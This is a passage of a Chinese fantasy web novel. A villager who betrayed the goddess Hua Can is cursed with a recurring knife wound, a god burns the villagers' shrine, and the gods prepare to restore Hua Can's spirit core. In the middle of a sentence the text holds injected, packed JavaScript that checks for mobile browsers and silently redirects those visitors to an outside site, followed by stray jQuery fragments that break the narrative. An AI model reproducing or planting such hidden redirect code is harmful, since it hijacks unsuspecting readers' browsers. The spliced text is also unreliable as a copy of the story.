董高阴恻地笑着,死死抱住开岚的脚、阻止他前进。
他抬起血红的眼睛瞪着不远处的众多镇民,质问道:
“为什么他们可以走?凭什么说他们是无辜的?!就因为挥刀的人是我吗?!
我为何会这样,没人想知道吗?他们一个都脱不掉干系!
茶寮被围之前,逃出去那么多人啊,有几十人!我妻就在其中,她马上就要迈出门去了,魔头来了!我妻与他撞个正着啊!
身边那么多人、那么多壮汉,都只顾着自己跑,没有任何人拉她一把。
魔头封锁了这木楼,她被抓做人质,我苦苦哀求在场的每个人、说我妻刚刚有孕,求他们去换我妻,可他们全都贪生怕死、全都不愿意!!!”
人群中有人反驳道:”谁不是上有老下有小,你妻命贵,你为何不自己去换?反而让我们这些无辜之人代你送命?!”
董高循声找着说话的人,皱起眉头质问道:”我若换了她,她一介妇人定不会为我报仇,我死了她改嫁、快活逍遥过一世,我换她不是为他人做了嫁衣?!”
“呸!你听听你说的还是人话吗?你自己的媳妇自己舍不得拿命去换,以为在这里指摘他人就能减轻你内心的罪孽了?”
“就算如此,你恨我们,那少主呢?她本可全身而退,是为救你才遇上魔头,你为何恨她?!”
“对,你编排少主的话我们都听着呢,你说她该死,你埋怨她来得晚了害你被困,可明明是你向魔头投诚在先、人家没要你罢了!”
“是啊是啊!一开始明明是他在楼里勒着惊澜少主的脖子不让她走、还高喊魔头快来啊!!后来甚至还怪她来得太晚了、说神族拿着人命换香火!!!”
众人你一言我一语,生怕自己被董高拉下水,不遗余力地指责着他,已形成声讨之势。
董高此刻已经坐起身来,他指着对面人群中的一位老妇厉声为自己辩驳:
“只有我吗?
你们是不是忘了,是谁先张口说神族为什么来的这么迟的?是那赵大娘啊,没人记得了?
她说,她儿子死了,都是因为这少主来得太晚了,你们不会都装作没听到吧?”
那老妇被骤然指责,忙慌张辩解着:“我不是,我没有那个意思啊!是你曲解了啊!”
董高却不理会,自顾自继续为自己开脱着:
“当时的情况,谁能保证她能赢?我杀了她再去求求魔头,也许就能活命啊,到时候你们都得谢我!
还有,她倒下的时候你们是怎么说的?
王家媳妇儿,是你哭着说早知道就躲起来不跟她走的吧?还有霍老二,是你跺着脚骂‘什么神明,连个魔头都打不过,简直屁用没有!’
哦?怎么现在她赢了、神族来人了,你们就变脸了,生怕这几个后来的给她撑腰的知道你们当时是什么嘴脸?我告诉你们,门都没有,我就是死也要拉你们一起垫背!”
在董高的一番指责下,被他提到的人纷纷为自己竭力辩解着,有人提到:“就算我们说了,那也是命在旦夕时的气话,我们没有你指责的那么无耻!”
董高听了这话,大笑几声道:“哈?你们说的,就是'气话',我说的,就是该死?
就算是我说他们拿人命换香火,我也没错。百步外就是神祠,从来都是有事情求他们了才有人上香吧?
不出几条人命,他们的价值该从何体现?!
这些神族本来就是故意等出了人命才来的,她自己玩脱了搭上一条命,与我何干!!!!!!”
人群早已吵成一团,神族本不该介入人族内部的争端,可涉及到如此腌臜的言语、句句颠倒是非黑白,让人实在是听不下去了。
花熔璋再次展开威压,神威之下众人无法说出一个字、纷纷再次拜伏在地。
他依然没有表情,只走到董高身前蹲下,用那把牛耳刀挑起他的下巴对他说:
“董高,我不杀你。
此刀是你之物,我还给你。
它长一尺,半尺没入花璨体内、破肺穿心,我也依样还给你。”
说罢,手起刀落,那把尖刀如他所说、以董高背刺花璨时一模一样的角度和深度刺入董高的背心。
董高痛苦至极,仿佛整个人都被生生劈开般颤抖着、趴在地上抽搐着,但没人听到他的惨叫——威压之下,他什么声音都发不出。
花熔璋重新站起身道:
“回家去吧。
你两次害花璨性命、两次伤她时说出的话共九十七字。
故从今以后每隔一日的此时,这把刀都会还你一次、次日拔刀。
一还、一拔,此为一副,循环九十七年,还完为止。
在此之前,你不会死。”
说罢,他再次收了威压,任由董高的哭嚎声、叫骂声响彻整片空地。旁人看着整个过程,早已不敢再多说半个字。
祝寒烟早已经忍无可忍,他强行冲开穴道,擦掉嘴角渗出的血,却没有如旁人预想中走向董高,而是径直走向躺在一旁的花璨。
他神色悲伤,却是笑着问她:“看见了吗,这就是你拼死守护的人族。真的恶心透了,救他真的不值,是不是?不过还好你现在听不见。我带你走,咱们回去。”说完蹲下身要抱她离开。
花熔璋伸手拦住他:“我来,寒烟,你别太勉强了。”
祝寒烟还欲坚持:“护心鳞还未与她的心脏完全融合,我在会好一些。”
花熔璋无奈提醒道:“她的神腑还要你修复,你想先把自己作死吗?”
此言一出,十分有用。祝寒烟终于不再坚持。
花熔璋抱起花璨,安扶亭跟在一旁、丰禾陪侍,司忱戈带着开岚盯紧看起来十分危险的祝寒烟。
一行人再也没看屋里的人族,转身向外走去。
去镇口的路已被士兵修整完毕,他们没走几步便看到了刚才董高口中的神祠。
祝寒烟独自走进去看了看,此刻里面空无一人,不过可以看出平日里是有人维护的。
神龛供奉着八大神族,香炉里的香灰并不少。
但越是这样、就越是讽刺。
就是这群平日里最虔诚的信徒,刚刚对拼死保下他们一条命的神明做了什么、又当着她的残魂说了些什么?
言语成刃,刀刀见血。
他转身出去,抬手在空中打了个响指,一簇火苗自香炉中凭空燃起、窜起一丈多高。
整座神祠瞬间成了一片火海,而神祠周围的其它建筑却丝毫未受火焰影响。
从木楼跟出来的诸多镇民看见这一幕俱是大惊,他们的神明终于还是降下了天罚:神祠被毁,代表着神明不再庇佑他们,这是他们为自己的行为应该付出的代价。
镇民在祝寒烟身后又跪倒一片,像之前每次上香祝祷一样不停磕着头、连连哀求着,求他不要降罪、不要牵连。
祝寒烟脚步微顿,终是回头看了他们一眼:
“不会牵连,但你们的罪恶轮不到花璨以外的任何人去审判;她才是为此付出最多、受伤最重者,任何神明都无法代替她去原谅。
这片土地仍在莽原之上、受九幽阴珀福荫,仍是你们的家园。
但在花璨醒来之前,没有任何神明有资格赦免你们,也没有任何神明会继续保佑你们。”
说完这句话,祝寒烟再也没回头,很快消失在众人的视野中。
回到烬欢台,花熔璋终于可以将花璨稳稳地安置在床榻上。几人围坐屋内,商讨灵核修复的方法。
花璨的灵核虽然破碎,但万幸在消散前便被救下。
只是她自身情况特殊,灵核无法与神腑一同安养,这就给本就艰难的灵核修复又增加了不小的难度。
司忱戈沉思片刻,提出海雾阁有一枚“海尘玦”,是他的伴生宝物——司忱戈降生的那天,这枚玉玦与他一同成型,在他开蒙之前一直无法取下、贴身守护着他,上学之后才逐渐离体,现在被收在月霰台藏宝室内。
安扶亭是知道这件事的,只是情急之下没有第一时间想起,现在听司忱戈提起,心中一喜:
海尘玦天生灵体,极具包容性、灵力充沛,若是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15836054|175687||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能将花璨的灵核残片置于其中安养,再辅以每日注入火系神力,定可重塑灵核。
事不宜迟,花璨此时没有灵核,撑不了很久神腑也会消散,到时候她的原神依然会离体崩解。
司忱戈没有耽搁,马上动身回海雾阁取回海尘玦,安扶亭也有很多在移核时会用到的药材需要回去取。
他临走时反复交待,只强调了两件事:
一、花璨的身体此时万不能有任何闪失,不要让任何人触碰。
二、祝寒烟必须打坐静养,一会儿施法期间若是他神力不稳必将功亏一篑。
花熔璋点头应允,令荧炬陪同着安族长回去取药,亲自将安扶亭送出门去,然后他转回身,挥手设界将整个寝殿封了起来。
寝殿里面此刻只有花璨、祝寒烟,以及伺候着的丰禾。
祝寒烟奇怪道:“兄长这是何意?”
花熔璋答:“何意?让你不要操心任何事,安心打坐调息。”
里面的人完全没有自觉:“兄长不必如此,我还有些族务未与父神交接。”
“你要与我交接什么?!
战俘我审完了,你昨夜新造的岩浆池子我也命人围起来了,你还有什么好交接的?
说你的护心鳞吗?!”
祝明烽人未到、声先至,他风风火火地走近,站在门前隔着结界看自己这唯一的孩子,眉头紧锁。
他想斥责他不爱惜身体、想质问他为何擅自决定拔护心鳞这么危险的大事,可看着他、看着花熔璋、想到躺在屋里生死未定的花璨,责备的话却是一句都说不出。
花熔璋对祝明烽行了礼,祝明烽摆摆手、拍了拍他的肩,依然对着祝寒烟说话:
“烟儿,你安伯伯都告诉我了,你心里想说的话咱们回头再说,当务之急是好好调息。”
祝寒烟闻言再也没话说,对父亲行了一礼,进屋打坐去了。
祝明烽转过身面向花熔璋,眉头皱得更紧,只过了一夜,他却连说话的声音都仿佛苍老了许多:“铎儿,可辛苦了,吓坏了吧……”
花熔璋一愣,他想过祝明烽会来,也设想了很多种场景:
他可能会来兴师问罪,可能会来接寒烟回去,可能会表示对自己失望至极,甚至更离谱些的来意他也有所应对。
可那么多种情况中,没有一种是此刻这样、温和又心疼地安抚自己的……他抬眼看向祝明烽金色的眼睛,那里面此刻都是关怀和心疼。
花熔璋心里一暖,“可吓坏了吧?”这样哄孩子似的话,他记不清几百年没有听到过了。
他知道祝明烽一直拿自己和花璨当亲生孩子看待,经历了阴珀事件之后更是如此。
可是他自己的孩子此次也付出巨大的代价——为了救花璨而产生了无法逆转的损伤,但他却丝毫没有责怪这几个孩子的意思,反而满满的包容。
此刻,花熔璋觉得自己的心思和猜测都十分卑劣小气,其实祝明烽从来都不是那样的人,他在他们面前一直都只是个善良、敦厚的长者。
于是,他卸下了所有伪装,低下头、语气有些颓丧地回答:
“伯伯,我刚刚差点就没有家了,此刻也依然是的。
璨璨还在里面躺着,若不是烟儿的护心鳞和安伯伯的归魄丹撑着,她早就已经消散了。”
祝明烽道:
“我知道,铎儿,璨儿定会平安渡过难关的!
司霆的性子你我都清楚,若没有十足的把握,他不会透露半句!
所以此刻只等着吧。
族内的事我盯着,你且珍重自己。治疗方面,我是雷系、帮不上忙,但我能保证你们翱晟天的安全、也能保证需要什么就给你们找来什么。
所以,孩子你就踏踏实实救人,其他的都日后再议。”
花熔璋道:”伯父……”,他觉得再说些什么都显得苍白刻意,想了又想终是什么都没再说,只答了一句“好,铎儿懂了。”
一个时辰后,一切就绪。
寝殿内被安扶亭设下一个护灵大阵,屋内众人席地而坐,各自做着准备。